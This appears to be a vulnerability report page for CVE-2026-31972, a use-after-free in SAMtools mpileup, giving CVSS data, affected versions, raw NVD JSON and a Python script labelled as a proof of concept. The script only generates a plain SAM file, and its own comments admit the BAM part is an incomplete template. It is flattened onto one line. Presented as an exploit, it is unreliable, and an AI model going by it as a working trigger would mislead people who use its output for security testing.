Security Vulnerability Report
中文
CVE-2026-31972 CVSS 9.8 CRITICAL

CVE-2026-31972

Published: 2026-03-18 21:16:26
Last Modified: 2026-03-19 18:54:52

Description

SAMtools is a program for reading, manipulating and writing bioinformatics file formats. The `mpileup` command outputs DNA sequences that have been aligned against a known reference. On each output line it writes the reference position, optionally the reference DNA base at that position (obtained from a separate file) and all of the DNA bases that aligned to that position. As the output is ordered by position, reference data that is no longer needed is discarded once it has been printed out. Under certain conditions the data could be discarded too early, leading to an attempt to read from a pointer to freed memory. This bug may allow information about program state to be leaked. It may also cause a program crash through an attempt to access invalid memory. This bug is fixed in versions 1.21.1 and 1.22. There is no workaround for this issue.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:samtools:samtools:*:*:*:*:*:*:*:* - VULNERABLE
SAMtools < 1.21.1
SAMtools < 1.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-31972 PoC - SAMtools mpileup Use-After-Free Note: This PoC generates a malformed SAM/BAM file that triggers the UAF condition in SAMtools mpileup command. Use with caution and only in authorized testing environments. """ import struct def generate_poc_sam(): """ Generate a SAM file that triggers the Use-After-Free condition in SAMtools mpileup when processing specific alignment patterns. """ header = "@HD\tVN:1.6\tSO:coordinate\n" header += "@SQ\tSN:chr1\tLN:1000000\n" # Generate alignments that trigger the UAF condition # The specific conditions depend on the reference data and alignment patterns alignments = [] # Create alignments with specific patterns that cause early reference data discard for i in range(1, 100): # Position patterns that may trigger the bug pos = i * 100 + 50 cigar = f"{i}M" # Simple matches seq = "A" * i if i < 100 else "A" * 100 qual = "I" * len(seq) alignment = f"read_{i}\t0\tchr1\t{pos}\t60\t{cigar}\t*\t0\t0\t{seq}\t{qual}\n" alignments.append(alignment) sam_content = header + "".join(alignments) return sam_content def generate_poc_bam(): """ Generate a BAM file (binary) that triggers the UAF condition. This is a template structure - actual exploitation requires specific conditions. """ # BAM file magic number magic = b"BAM\x01" # Header text length header_text = b"@HD\tVN:1.6\tSO:coordinate\n@SQ\tSN:chr1\tLN:1000000\n" header_len = struct.pack('<I', len(header_text)) # This is a simplified structure - full exploitation requires # crafting specific alignment records that trigger the UAF return magic + header_len + header_text if __name__ == "__main__": import sys print("CVE-2026-31972 PoC Generator") print("=" * 50) print("Generating test SAM file...") sam_content = generate_poc_sam() with open("poc_cve2026_31972.sam", "w") as f: f.write(sam_content) print(f"Generated poc_cve2026_31972.sam") print("\nTo trigger the vulnerability:") print("1. Create a reference genome file (reference.fa)") print("2. Run: samtools mpileup -f reference.fa poc_cve2026_31972.sam") print("3. Monitor for crashes or unexpected behavior") print("\nNote: This PoC is for educational and authorized testing purposes only.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31972", "sourceIdentifier": "[email protected]", "published": "2026-03-18T21:16:26.070", "lastModified": "2026-03-19T18:54:51.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAMtools is a program for reading, manipulating and writing bioinformatics file formats. The `mpileup` command outputs DNA sequences that have been aligned against a known reference. On each output line it writes the reference position, optionally the reference DNA base at that position (obtained from a separate file) and all of the DNA bases that aligned to that position. As the output is ordered by position, reference data that is no longer needed is discarded once it has been printed out. Under certain conditions the data could be discarded too early, leading to an attempt to read from a pointer to freed memory. This bug may allow information about program state to be leaked. It may also cause a program crash through an attempt to access invalid memory. This bug is fixed in versions 1.21.1 and 1.22. There is no workaround for this issue."}, {"lang": "es", "value": "SAMtools es un programa para leer, manipular y escribir formatos de archivo bioinformáticos. El comando 'mpileup' genera secuencias de ADN que han sido alineadas contra una referencia conocida. En cada línea de salida escribe la posición de referencia, opcionalmente la base de ADN de referencia en esa posición (obtenida de un archivo separado) y todas las bases de ADN que se alinearon con esa posición. Como la salida está ordenada por posición, los datos de referencia que ya no son necesarios se descartan una vez que se han impreso. Bajo ciertas condiciones, los datos podrían descartarse demasiado pronto, lo que llevaría a un intento de leer desde un puntero a memoria liberada. Este error puede permitir la fuga de información sobre el estado del programa. También puede causar un fallo del programa a través de un intento de acceder a memoria no válida. Este error está corregido en las versiones 1.21.1 y 1.22. No hay una solución alternativa para este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samtools:samtools:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.21.1", "matchCriteriaId": "8A8A830E-A9CF-43A8-9287-01B5FBAFC490"}]}]}], "references": [{"url": "https://github.com/samtools/samtools/commit/3036eb9af945fcef359427a2d359855553da4adf", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/samtools/samtools/security/advisories/GHSA-72c8-4jf3-f27p", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/18/11", "source": "af854a3a-2127-422b-91ae-364da2661 ... (truncated)